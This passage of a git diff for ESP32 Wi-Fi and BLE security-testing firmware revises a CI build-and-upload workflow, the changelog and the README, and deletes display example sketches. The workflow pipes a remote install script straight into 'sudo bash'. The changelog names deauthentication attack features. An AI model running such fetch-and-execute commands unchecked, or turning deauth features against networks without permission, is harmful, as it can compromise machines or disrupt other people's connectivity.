diff --git a/.github/workflows/compile_all.yml b/.github/workflows/compile_all.yml index 1b123cf9..c8bb2508 100644 --- a/.github/workflows/compile_all.yml +++ b/.github/workflows/compile_all.yml @@ -1,7 +1,16 @@ -name: Compile All +name: Compile on: workflow_dispatch: + inputs: + buildType: + description: "Select the build type" + required: true + type: choice + options: + - "prerelease" + - "all" + default: "prerelease" jobs: build: @@ -11,12 +20,12 @@ jobs: strategy: matrix: target: - - { name: "esp32-generic", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.default.esp32", zip_name: "esp32-generic.zip" } + - { name: "esp32-generic", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.default.esp32", zip_name: "esp32-generic.zip" } - { name: "esp32s2-generic", idf_target: "esp32s2", sdkconfig_file: "configs/sdkconfig.default.esp32s2", zip_name: "esp32s2-generic.zip"} - { name: "esp32s3-generic", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.default.esp32s3", zip_name: "esp32s3-generic.zip" } - { name: "esp32c3-generic", idf_target: "esp32c3", sdkconfig_file: "configs/sdkconfig.default.esp32c3", zip_name: "esp32c3-generic.zip" } - { name: "esp32c6-generic", idf_target: "esp32c6", sdkconfig_file: "configs/sdkconfig.default.esp32c6", zip_name: "esp32c6-generic.zip" } - - { name: "Awok V5", idf_target: "esp32s2", sdkconfig_file: "configs/sdkconfig.default.esp32s2", zip_name: "esp32v5_awok.zip"} + - { name: "Awok V5", idf_target: "esp32s2", sdkconfig_file: "configs/sdkconfig.default.esp32s2", zip_name: "esp32v5_awok.zip"} # Dev Kit configurations (LED on, no screen support) - { name: "esp32c3-devkit", idf_target: "esp32c3", sdkconfig_file: "configs/sdkconfig.devkit.esp32c3", zip_name: "esp32c3-devkit.zip"} @@ -26,26 +35,24 @@ jobs: - { name: "ghostboard", idf_target: "esp32c6", sdkconfig_file: "configs/sdkconfig.ghostboard", zip_name: "ghostboard.zip"} # Screen-supported builds - - { name: "MarauderV4_FlipperHub", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.marauderv4", zip_name: "MarauderV4_FlipperHub.zip"} - - { name: "MarauderV6&AwokDual", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.marauderv6", zip_name: "MarauderV6_AwokDual.zip"} - - { name: "AwokMini", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.awokmini", zip_name: "AwokMini.zip"} - - { name: "ESP32-S3-Cardputer", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.cardputer", zip_name: "ESP32-S3-Cardputer.zip"} - - { name: "LillyGoTWatch_S3", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.S3TWatch", zip_name: "lillygos3watch.zip"} - + - { name: "MarauderV4_FlipperHub", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.marauderv4", zip_name: "MarauderV4_FlipperHub.zip"} + - { name: "MarauderV6&AwokDual", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.marauderv6", zip_name: "MarauderV6_AwokDual.zip"} + - { name: "AwokMini", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.awokmini", zip_name: "AwokMini.zip"} + - { name: "ESP32-S3-Cardputer", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.cardputer", zip_name: "ESP32-S3-Cardputer.zip"} + #- { name: "LillyGoTWatch_S3", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.S3TWatch", zip_name: "lillygos3watch.zip"} # CYD (Cheap Yellow Display) with touch screen - - { name: "CYD2USB", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYD2USB", zip_name: "CYD2USB.zip"} - - { name: "CYDMicroUSB", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYDMicroUSB", zip_name: "CYDMicroUSB.zip"} - - { name: "CYDDualUSB", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYDDualUSB", zip_name: "CYDDualUSB.zip"} - - { name: "CYD2USB2.4_Inch", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYD2USB2.4Inch", zip_name: "CYD2USB2.4Inch.zip"} - + - { name: "CYD2USB", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYD2USB", zip_name: "CYD2USB.zip"} + - { name: "CYDMicroUSB", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYDMicroUSB", zip_name: "CYDMicroUSB.zip"} + - { name: "CYDDualUSB", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYDDualUSB", zip_name: "CYDDualUSB.zip"} + - { name: "CYD2USB2.4_Inch", idf_target: "esp32", sdkconfig_file: "configs/sdkconfig.CYD2USB2.4Inch", zip_name: "CYD2USB2.4Inch.zip"} # 7-inch boards - { name: "Waveshare_LCD", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.waveshare7inch", zip_name: "Waveshare_LCD.zip"} - - { name: "Crowtech_LCD", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.crowtech7inch", zip_name: "Crowtech_LCD.zip"} + - { name: "Crowtech_LCD", idf_target: "esp32s3", sdkconfig_file: "configs/sdkconfig.crowtech7inch", zip_name: "Crowtech_LCD.zip"} steps: - - name: Checkout Repository + - name: Check Out Repository uses: actions/checkout@v3 - name: Set up Python @@ -111,12 +118,22 @@ jobs: name: ${{ matrix.target.zip_name }} path: ${{ matrix.target.zip_name }} + # --------------------------------------------------------------- + # This job uploads all artifacts to the correct R2 path + # AND optionally does the "prerelease" extras (boards.json, + # Discord commit history, etc.) if buildType == 'prerelease'. + # --------------------------------------------------------------- upload_all: - name: Upload All to Cloudflare R2 and GitHub Release + name: Upload Artifacts needs: build runs-on: ubuntu-latest steps: + - name: Check Out Repository + uses: actions/checkout@v3 + with: + fetch-depth: 0 # so we can get commit logs, etc. + - name: Download All Artifacts uses: actions/download-artifact@v3 with: @@ -135,6 +152,14 @@ jobs: exit 1 fi + - name: Determine R2 Path (Set ENV) + run: | + if [ "${{ github.event.inputs.buildType }}" = "prerelease" ]; then + echo "R2_PATH=GhostESPBins/prerelease" >> $GITHUB_ENV + else + echo "R2_PATH=GhostESPBins" >> $GITHUB_ENV + fi + - name: Install rclone run: | curl -fsSL https://rclone.org/install.sh | sudo bash @@ -157,9 +182,9 @@ jobs: - name: Upload All Artifacts to Cloudflare R2 env: R2_BUCKET: "spooksapi" - R2_PATH: "GhostESPBins" + R2_PATH: ${{ env.R2_PATH }} run: | - echo "Uploading artifacts to Cloudflare R2..." + echo "Uploading artifacts to Cloudflare R2 -> $R2_PATH" for file in flat_artifacts/*; do if [ -f "$file" ]; then echo "Uploading $file..." @@ -200,8 +225,11 @@ jobs: fi done - - name: Notify Discord of Successful Upload - if: success() + # ------------------ + # If = 'all' path + # ------------------ + - name: Notify Discord of Successful Upload (ALL) + if: ${{ github.event.inputs.buildType == 'all' }} env: DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }} run: | @@ -221,4 +249,179 @@ jobs: curl -X POST \ -H "Content-Type: application/json" \ -d "$payload" \ - "$DISCORD_WEBHOOK_URL" \ No newline at end of file + "$DISCORD_WEBHOOK_URL" + + # ---------------------- + # If = 'prerelease' path + # ---------------------- + - name: Get Commit History + if: ${{ github.event.inputs.buildType == 'prerelease' }} + id: get_commits + run: | + # Get the last 10 commits + commits=$(git log --pretty=format:"- %s" -n 10) + + # Escape newlines and quotes for JSON + commits="${commits//'%'/'%25'}" + commits="${commits//$'\n'/'\\n'}" + commits="${commits//$'\r'/'%0D'}" + commits="${commits//'"'/'\"'}" + + echo "commits=$commits" >> $GITHUB_OUTPUT + + - name: Notify Discord of Successful Upload (PRERELEASE) + if: ${{ github.event.inputs.buildType == 'prerelease' }} + env: + DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }} + run: | + BUILD_DATE=$(date -u +"%Y-%m-%d") + BUILD_VERSION=$(date -u +"%Y%m%d") + + payload=$(cat < boards.json << 'EOF' + { + "boards": { + "ESP32": { + "generic": { + "name": "ESP32 Generic", + "zip_file": "esp32-generic.zip", + "chip_type": "ESP32" + }, + "marauderv4": { + "name": "MarauderV4 FlipperHub", + "zip_file": "MarauderV4_FlipperHub.zip", + "chip_type": "ESP32" + }, + "marauderv6": { + "name": "MarauderV6 & AwokDual", + "zip_file": "MarauderV6_AwokDual.zip", + "chip_type": "ESP32" + }, + "awokmini": { + "name": "AwokMini", + "zip_file": "AwokMini.zip", + "chip_type": "ESP32" + }, + "cyd2usb": { + "name": "CYD2USB", + "zip_file": "CYD2USB.zip", + "chip_type": "ESP32" + }, + "cydmicrousb": { + "name": "CYDMicroUSB", + "zip_file": "CYDMicroUSB.zip", + "chip_type": "ESP32" + }, + "cyddualusb": { + "name": "CYDDualUSB", + "zip_file": "CYDDualUSB.zip", + "chip_type": "ESP32" + }, + "cyd2usb24inch": { + "name": "CYD2USB 2.4 Inch", + "zip_file": "CYD2USB2.4Inch.zip", + "chip_type": "ESP32" + } + }, + "ESP32S2": { + "generic": { + "name": "ESP32-S2 Generic", + "zip_file": "esp32s2-generic.zip", + "chip_type": "ESP32-S2" + }, + "awokv5": { + "name": "Awok V5", + "zip_file": "esp32v5_awok.zip", + "chip_type": "ESP32-S2" + } + }, + "ESP32S3": { + "generic": { + "name": "ESP32-S3 Generic", + "zip_file": "esp32s3-generic.zip", + "chip_type": "ESP32-S3" + }, + "cardputer": { + "name": "ESP32-S3-Cardputer", + "zip_file": "ESP32-S3-Cardputer.zip", + "chip_type": "ESP32-S3" + }, + "waveshare": { + "name": "Waveshare LCD", + "zip_file": "Waveshare_LCD.zip", + "chip_type": "ESP32-S3" + }, + "crowtech": { + "name": "Crowtech LCD", + "zip_file": "Crowtech_LCD.zip", + "chip_type": "ESP32-S3" + } + }, + "ESP32C3": { + "generic": { + "name": "ESP32-C3 Generic", + "zip_file": "esp32c3-generic.zip", + "chip_type": "ESP32-C3" + }, + "devkit": { + "name": "ESP32-C3 DevKit", + "zip_file": "esp32c3-devkit.zip", + "chip_type": "ESP32-C3" + } + }, + "ESP32C6": { + "generic": { + "name": "ESP32-C6 Generic", + "zip_file": "esp32c6-generic.zip", + "chip_type": "ESP32-C6" + }, + "devkit": { + "name": "ESP32-C6 DevKit", + "zip_file": "esp32c6-devkit.zip", + "chip_type": "ESP32-C6" + }, + "ghostboard": { + "name": "GhostBoard", + "zip_file": "ghostboard.zip", + "chip_type": "ESP32-C6" + } + } + }, + "version": "${{ github.sha }}", + "build_date": "$(date -u +"%Y-%m-%d")", + "build_number": "$(date -u +"%Y%m%d")" + } + EOF + echo "Generated boards.json with target information" + + - name: Upload boards.json to Cloudflare R2 + if: ${{ github.event.inputs.buildType == 'prerelease' }} + env: + R2_BUCKET: "spooksapi" + R2_PATH: ${{ env.R2_PATH }} + run: | + echo "Uploading boards.json to Cloudflare R2 ($R2_PATH)..." + rclone copy "boards.json" "cloudflare_r2:${R2_BUCKET}/${R2_PATH}" --progress --s3-no-check-bucket diff --git a/.gitignore b/.gitignore index 76127f90..832c1be0 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,5 @@ build .devcontainer .vscode /managed_components +.clang-tidy +checks.json diff --git a/CHANGELOG.md b/CHANGELOG.md index f37642eb..d67b0a22 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,15 +1,41 @@ -// changelog.md +# Ghost ESP Changelog -# 1.4.5 +## 1.4.6 -## 🛠️ Core Improvements +### ❤️ New Features + +- Added Local Network Port Scanning - @Spooks4576 +- Added support for New CYD Model (2432S024C) - @Spooks4576 +- Added WiFi Pineapple/Evil Twin detection - @jaylikesbunda +- Added 'apcred' command to change or reset GhostNet AP credentials - @jaylikesbunda + +### 🐛 Bug Fixes + +- Fixed BLE Crash on some devices! - @Spooks4576 +- Remove Incorrect PCAP log spam message - @jaylikesbunda +- retry deauth channel switch + vtaskdelays - @jaylikesbunda +- Resolve issues with JC3248W535EN devices #116 - @i-am-shodan, @jaylikesbunda + +### 🤏 Tweaks and Improvements + +- Overall Log Cleanup - @jaylikesbunda +- Added a IFDEF for Larger Display Buffers On Non ESP32 Devices - @Spooks4576 +- Revised 'gpsinfo' logs to be more helpful and consistent - @jaylikesbunda +- Added logs to tell if GPS module is connected correctly- @jaylikesbunda +- Added RGB Pulse for AirTag and Card Skimmer detection - @jaylikesbunda +- Miscellaneous fixes and improvements - @Spooks4576, @jaylikesbunda +- Clang-Format main and include folders for better code readability - @jaylikesbunda + +## 1.4.5 + +### 🛠️ Core Improvements - Added starting logs to capture commands - @jaylikesbunda - Improved WiFi connection logic - @jaylikesbunda - Added support for variable display timeout on TWatch S3 - @jaylikesbunda - Revise stop command callbacks to be more consistent - @jaylikesbunda, @Spooks4576 -## 🌐 Network Features +### 🌐 Network Features - Enhanced Deauth Attack with bidirectional frames, proper 802.11 sequencing, and rate limiting (thank you @SpacehuhnTech for amazing reference code) - @jaylikesbunda - Added BLE Packet Capture support - @jaylikesbunda @@ -17,7 +43,7 @@ - Added support for detecting and capturing packets from card skimmers - @jaylikesbunda - Added "gpsinfo" command to retrieve and display GPS information - @jaylikesbunda -## 🖥️ Interface & UI +### 🖥️ Interface & UI - Added more terminal view logs - @jaylikesbunda, @Spooks4576 - Better access for shared lvgl thread for panels where other work needs to be performed - @i-am-shodan @@ -26,7 +52,7 @@ - Terminal_View_Add_Text queue system for adding text to the terminal view - @jaylikesbunda - Revise options screen styling - @jaylikesbunda -## 🐛 Bug Fixes +### 🐛 Bug Fixes - Fix GhostNet not coming back after stopping beacon - @Spooks4576 - Fixed GPS buffer overflow issue that could cause logging to stop - @jaylikesbunda @@ -34,7 +60,7 @@ - Terminal View trunication and cleanup to prevent overflow - @jaylikesbunda - Fix and revise station scan command - @Spooks4576 -## 🔧 Other Improvements +### 🔧 Other Improvements - Pulse LEDs Orange when Flipper is detected - @jaylikesbunda - Refine DNS handling to more consistently handle redirects - @jaylikesbunda @@ -42,10 +68,10 @@ - Miscellaneous fixes and improvements - @jaylikesbunda, @Spooks4576 - WebUI fixes for better functionality - @Spooks4576 -## 📦 External Updates +### 📦 External Updates - New website! - @jaylikesbunda - Ghost ESP Flipper App v1.1.8 - @jaylikesbunda - Cleanup README.md - @jaylikesbunda -...changelog starts here... \ No newline at end of file +...changelog starts here... diff --git a/README.md b/README.md index 424d28ce..06d81225 100644 --- a/README.md +++ b/README.md @@ -58,7 +58,8 @@ Make sure to check out our [Discord](https://discord.gg/PkdjxqYKe4) ## What Makes this different than ESP32 Marauder This table should explain the key differences between ghost esp and ESP32 Marauder -![Ghost_VS_Marauder](https://github.com/user-attachments/assets/bbcf6b49-6641-45fc-bbcf-8073e76d9601) +![Ghost_VS_Marauder](https://github.com/user-attachments/assets/84fde8b3-e17e-44d5-9321-04f1f1ae8541) + ## Special Acknowledgments @@ -75,6 +76,6 @@ We extend our thanks to the following projects and their developers for their co Ghost ESP is intended strictly for educational and ethical security research. Unauthorized use of this firmware for malicious activities, such as disrupting legitimate network services, is illegal and subject to prosecution. Always secure appropriate permissions before conducting any network testing. ---- +## Open Source Contributions -Unleash the potential of your ESP32 device with Ghost ESP—the next-generation tool for wireless network analysis and testing, now in alpha development. We value your feedback and participation in helping Ghost ESP reach its full potential. +This project is fully open source and welcomes modifications and improvements from the community. While we may not have access to every ESP32-based device for testing, we encourage users to contribute device-specific support and other enhancements. If you've made modifications or added support for additional devices, please feel free to submit your contributions. diff --git a/components/M5GFX/examples/Basic/AnalogMeter/AnalogMeter.ino b/components/M5GFX/examples/Basic/AnalogMeter/AnalogMeter.ino deleted file mode 100644 index f6786106..00000000 --- a/components/M5GFX/examples/Basic/AnalogMeter/AnalogMeter.ino +++ /dev/null @@ -1,212 +0,0 @@ - -#include - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5AtomDisplay display; // default setting -//M5AtomDisplay display ( 320, 180 ); // width, height - - -static constexpr float deg_to_rad = 0.017453292519943295769236907684886; -static constexpr int TFT_GREY = 0x5AEB; -static constexpr int LOOP_PERIOD = 35; // Display updates every 35 ms - -int value[6] = {0, 0, 0, 0, 0, 0}; -int old_value[6] = { -1, -1, -1, -1, -1, -1}; -int liner_count = 6; -int d = 0; - -int liner_height; -int meter_height; -int needle_x; -int needle_y; -int needle_r; -int osx, osy; // Saved x & y coords -uint32_t updateTime = 0; // time for next update - -void plotNeedle(int value) -{ - float sdeg = map(value, 0, 100, -135, -45); // Map value to angle - // Calcualte tip of needle coords - float sx = cosf(sdeg * deg_to_rad); - float sy = sinf(sdeg * deg_to_rad); - - display.setClipRect(0, 0, display.width(), meter_height - 5); - // Erase old needle image - display.drawLine(needle_x - 1, needle_y, osx - 1, osy, TFT_WHITE); - display.drawLine(needle_x + 1, needle_y, osx + 1, osy, TFT_WHITE); - display.drawLine(needle_x , needle_y, osx , osy, TFT_WHITE); - - // Re-plot text under needle - display.setTextColor(TFT_BLACK); - if (display.width() > 100) - { - display.setFont(&fonts::Font4); - display.setTextDatum(textdatum_t::middle_center); - display.drawString("%RH", needle_x, needle_y>>1); - } - - display.setFont(&fonts::Font2); - display.setTextDatum(textdatum_t::bottom_left); - display.drawString("%RH", display.width() - 36, meter_height - 8); - - display.setTextColor(TFT_BLACK, TFT_WHITE); - display.setTextDatum(textdatum_t::bottom_right); - display.drawNumber(value, 36, meter_height - 8); - - - // Store new needle end coords for next erase - osx = roundf(sx * needle_r) + needle_x; - osy = roundf(sy * needle_r) + needle_y; - - // Draw the needle in the new postion, magenta makes needle a bit bolder - // draws 3 lines to thicken needle - display.drawLine(needle_x - 1, needle_y, osx - 1, osy, TFT_RED); - display.drawLine(needle_x + 1, needle_y, osx + 1, osy, TFT_RED); - display.drawLine(needle_x , needle_y, osx , osy, TFT_MAGENTA); - - display.clearClipRect(); -} - -void analogMeter() -{ - display.fillRect(0, 0, display.width() , meter_height , TFT_WHITE); - display.drawRect(1, 1, display.width()-2 , meter_height-2, TFT_BLACK); - - int r3 = needle_y * 13 / 15; - int r2 = needle_y * 12 / 15; - int r1 = needle_y * 11 / 15; - needle_r = r1 - 3; - display.fillArc(needle_x, needle_y, r1, r3, 270, 292, TFT_GREEN); - display.fillArc(needle_x, needle_y, r1, r3, 292, 315, TFT_ORANGE); - display.fillArc(needle_x, needle_y, r1, r1, 225, 315, TFT_BLACK); - - display.setTextColor(TFT_BLACK); - display.setFont(&fonts::Font2); - display.setTextDatum(textdatum_t::bottom_center); - for (int i = 0; i <= 20; i++) - { - display.fillArc(needle_x, needle_y, r1, (i % 5) ? r2 : r3, 225 + i * 4.5f, 225 + i * 4.5f, TFT_BLACK); - if (0 == (i % 5) && display.width() > 100) - { - display.drawNumber(i * 5, needle_x - cosf((45+i*4.5) * deg_to_rad) * r3 - , needle_y - sinf((45+i*4.5) * deg_to_rad) * r3 - 2); - } - } -} - -void plotLinear(const char *label, int x, int y, int w, int h) -{ - display.drawRect(x, y, w, h, TFT_GREY); - display.fillRect(x + 2, y + 18, w - 3, h - 36, TFT_WHITE); - display.setTextColor(TFT_CYAN, TFT_BLACK); - display.setTextDatum(textdatum_t::middle_center); - display.setFont(&fonts::Font2); - display.setTextPadding(display.textWidth("100")); - display.drawString(label, x + w / 2, y + 10); - - int plot_height = h - (19*2); - - for (int i = 0; i <= 10; i ++) - { - display.drawFastHLine(x + w/2, y + 19 + (i+1) * plot_height / 12, w*(3+(0==(i%5)))/16, TFT_BLACK); - } -} - -void plotPointer(void) -{ - display.setTextColor(TFT_GREEN, TFT_BLACK); - display.setTextDatum(textdatum_t::middle_right); - - int plot_height = liner_height - (19*2); - int pw = (display.width() / liner_count) / 3; - - for (int i = 0; i < liner_count; i++) - { - display.drawNumber(value[i], display.width() * (i + 0.8) / liner_count, display.height() - 10); - int dx = display.width() * i / liner_count + 3; - int dy = meter_height + 19 + (old_value[i]+10) * plot_height / 120; - display.fillTriangle(dx, dy - 5, dx, dy + 5, dx + pw, dy, TFT_WHITE); - old_value[i] = value[i]; - dy = meter_height + 19 + (old_value[i]+10) * plot_height / 120; - display.fillTriangle(dx, dy - 5, dx, dy + 5, dx + pw, dy, TFT_RED); - } -} - -void setup(void) -{ - display.begin(); - display.setEpdMode(epd_mode_t::epd_fastest); - if (display.width() > display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } - - display.startWrite(); - display.fillScreen(TFT_BLACK); - - liner_height = display.height() * 3 / 5; - meter_height = display.height() * 2 / 5; - needle_x = display.width() / 2; - needle_y = (meter_height*2 + display.width()) / 3; - osx = needle_x; - osy = needle_y; - liner_count = std::min(6, display.width() / 40); - - analogMeter(); // Draw analogue meter - int w = display.width() / liner_count; - char name[] = "A0"; - // Draw linear meters - for (int i = 0; i < liner_count; i++) - { - name[1] = '0' + i; - plotLinear(name, display.width() * i / liner_count, meter_height, w, liner_height); - } - display.endWrite(); - - updateTime = millis(); // Next update time -} - -void loop(void) -{ - auto msec = millis(); - if (updateTime <= msec) - { - d = (msec >> 3) % 360; - - // Create a Sine wave for testing - value[0] = 50 + roundf(50 * sinf((d + 0) * deg_to_rad)); - value[1] = 50 + roundf(50 * sinf((d + 60) * deg_to_rad)); - value[2] = 50 + roundf(50 * sinf((d + 120) * deg_to_rad)); - value[3] = 50 + roundf(50 * sinf((d + 180) * deg_to_rad)); - value[4] = 50 + roundf(50 * sinf((d + 240) * deg_to_rad)); - value[5] = 50 + roundf(50 * sinf((d + 300) * deg_to_rad)); - - //value[0] = map(analogRead(36), 0, 4095, 0, 100); // Test with value form GPIO36 - - if (!display.displayBusy()) - { - updateTime = msec + LOOP_PERIOD; - //unsigned long t = millis(); - display.startWrite(); - plotPointer(); - plotNeedle(roundf(value[0])); - display.endWrite(); - //Serial.println(millis()-t); // Print time taken for meter update - } - } -} diff --git a/components/M5GFX/examples/Basic/BarGraph/BarGraph.ino b/components/M5GFX/examples/Basic/BarGraph/BarGraph.ino deleted file mode 100644 index 32a91acb..00000000 --- a/components/M5GFX/examples/Basic/BarGraph/BarGraph.ino +++ /dev/null @@ -1,103 +0,0 @@ - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -// #include -// M5AtomDisplay display; - -static constexpr size_t BAR_COUNT = 64; -static int max_y[BAR_COUNT]; -static int prev_y[BAR_COUNT]; -static uint32_t colors[BAR_COUNT]; - -void setup(void) -{ - display.init(); - display.startWrite(); - display.fillScreen(TFT_BLACK); - - if (display.isEPD()) - { - display.setEpdMode(epd_mode_t::epd_fastest); - } - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } - - for (int x = 0; x < BAR_COUNT; ++x) - { - prev_y[x] = display.height(); - max_y[x] = display.height(); - int r=0,g=0,b=0; - switch (x >> 4) - { - case 0: - b = 255; - g = x*0x11; - break; - case 1: - b = 255 - (x&15)*0x11; - g = 255; - break; - case 2: - g = 255; - r = (x&15)*0x11; - break; - case 3: - r = 255; - g = 255 - (x&15)*0x11; - break; - } - colors[x] = display.color888(r,g,b); - } -} - -void loop(void) -{ - int h = display.height(); - - static int i; - ++i; - display.waitDisplay(); - for (int x = 0; x < BAR_COUNT; ++x) - { - int y = (h>>1) - (sinf((float)((x-24)*i) / 3210.0f) + sinf((float)((x-40)*i) / 1234.0f)) * (h>>2); - - int xpos = x * display.width() / BAR_COUNT; - int w = ((x+1) * display.width() / BAR_COUNT) - xpos - 1; - if (max_y[x]+1 >= y) { max_y[x] = y-1; } - else - { - if ((i & 3) ==0 ) - { - display.fillRect(xpos, max_y[x]-3, w, 1, TFT_BLACK); - max_y[x]++; - } - } - display.fillRect(xpos, max_y[x]-3, w, 3, TFT_WHITE); - if (prev_y[x] < y) - { - display.fillRect(xpos, prev_y[x], w, y - prev_y[x], TFT_BLACK); - } - else - { - display.fillRect(xpos, y, w, prev_y[x] - y, colors[x]); - } - prev_y[x] = y; - } - display.display(); -} - diff --git a/components/M5GFX/examples/Basic/GameOfLife/GameOfLife.ino b/components/M5GFX/examples/Basic/GameOfLife/GameOfLife.ino deleted file mode 100644 index 7107a151..00000000 --- a/components/M5GFX/examples/Basic/GameOfLife/GameOfLife.ino +++ /dev/null @@ -1,141 +0,0 @@ -//The Game of Life, also known simply as Life, is a cellular automaton -//devised by the British mathematician John Horton Conway in 1970. -// https://en.wikipedia.org/wiki/Conway's_Game_of_Life - -#include - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5AtomDisplay display; - -M5Canvas canvas[2]; - -void setup(void) -{ - display.begin(); - display.setColorDepth(8); - display.setEpdMode(epd_mode_t::epd_fastest); - - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - display.setPivot(display.width() /2 -0.5, display.height() /2 - 0.5); - } - - int z = 0; - int width; - do - { - width = display.width() / ++z; - } while (width > 192); - - z = 0; - int height; - do - { - height = display.height() / ++z; - } while (height > 160); - - for (int i = 0; i < 2; i++) - { - canvas[i].setColorDepth(8); - canvas[i].createSprite(width, height); - canvas[i].createPalette(); - canvas[i].setPaletteColor(1, TFT_WHITE); - canvas[i].setPivot(canvas[i].width() /2 -0.5, canvas[i].height() /2 - 0.5); - } - canvas[0].setTextColor(1); - canvas[0].setTextDatum(textdatum_t::bottom_center); - canvas[0].drawString("Conway's", canvas[0].width() >> 1, canvas[0].height() >> 1); - canvas[0].setTextDatum(textdatum_t::top_center); - canvas[0].drawString("Game of Life", canvas[0].width() >> 1, canvas[0].height() >> 1); - canvas[0].pushRotateZoom(&display, 0, (float)display.width() / canvas[0].width(), (float)display.height() / canvas[0].height()); - delay(2000); - display.clear(); -} - -void loop(void) -{ - bool flip = false; - int width = canvas[flip].width(); - int height = canvas[flip].height(); - int xz = display.width() / width; - int yz = display.height() / height; - - int y = 1; - do - { - int x = 1; - do - { - if (random(6) == 0) { canvas[flip].drawPixel(x, y, 1); } - } while (++x < width - 1); - } while (++y < height - 1); - - int diff; - display.startWrite(); - do - { - flip = !flip; - diff = 0; - - auto old_buf = (uint8_t*)canvas[!flip].getBuffer(); - auto new_buf = (uint8_t*)canvas[ flip].getBuffer(); - int width = canvas[flip].width(); - int height = canvas[flip].height(); - int py; - int y = height - 1; - int ny = 0; - do - { - py = y; - y = ny; - if (++ny == height) ny = 0; - - int px; - int x = width - 1; - int nx = 0; - do - { - px = x; - x = nx; - if (++nx == width) nx = 0; - - int neighbors = old_buf[px + py * width] - + old_buf[ x + py * width] - + old_buf[nx + py * width] - + old_buf[px + y * width] - + old_buf[nx + y * width] - + old_buf[px + ny * width] - + old_buf[ x + ny * width] - + old_buf[nx + ny * width]; - int idx = x + y * width; - bool flg = (neighbors == 3) || (neighbors == 2 && old_buf[idx]); - if (flg != new_buf[idx]) - { - display.fillRect(x * xz, y * yz, xz, yz, flg ? TFT_WHITE : TFT_BLACK); - new_buf[idx] = flg; - ++diff; - } - } while (nx); - } while (ny); - - display.display(); - // canvas[flip].pushRotateZoom(&display, 0, (float)display.width() / width, (float)display.height() / height); - } while (diff); - display.endWrite(); -} diff --git a/components/M5GFX/examples/Basic/LongTextScroll/LongTextScroll.ino b/components/M5GFX/examples/Basic/LongTextScroll/LongTextScroll.ino deleted file mode 100644 index e904c994..00000000 --- a/components/M5GFX/examples/Basic/LongTextScroll/LongTextScroll.ino +++ /dev/null @@ -1,77 +0,0 @@ - -#include -M5GFX display; - -//#include -//M5UnitOLED display; // default setting -//M5UnitOLED display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitLCD display; // default setting -//M5UnitLCD display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5UnitGLASS2 display; // default setting -//M5UnitGLASS2 display ( 21, 22, 400000 ); // SDA, SCL, FREQ - -//#include -//M5AtomDisplay display; - -M5Canvas canvas(&display); - -static constexpr char text[] = "Hello world ! こんにちは世界! this is long long string sample. 寿限無、寿限無、五劫の擦り切れ、海砂利水魚の、水行末・雲来末・風来末、喰う寝る処に住む処、藪ら柑子の藪柑子、パイポ・パイポ・パイポのシューリンガン、シューリンガンのグーリンダイ、グーリンダイのポンポコピーのポンポコナの、長久命の長助"; -static constexpr size_t textlen = sizeof(text) / sizeof(text[0]); -int textpos = 0; -int scrollstep = 2; - -void setup(void) -{ - display.begin(); - display.setColorDepth(8); - - if (display.isEPD()) - { - scrollstep = 16; - display.setEpdMode(epd_mode_t::epd_fastest); - display.invertDisplay(true); - display.clear(TFT_BLACK); - } - if (display.width() < display.height()) - { - display.setRotation(display.getRotation() ^ 1); - } - - canvas.setColorDepth(1); // mono color - canvas.setFont(&fonts::lgfxJapanMinchoP_32); - canvas.setTextWrap(false); - canvas.setTextSize(2); - canvas.createSprite(display.width() + 64, 72); -} - -void loop(void) -{ - int32_t cursor_x = canvas.getCursorX() - scrollstep; - if (cursor_x <= 0) - { - textpos = 0; - cursor_x = display.width(); - } - - canvas.setCursor(cursor_x, 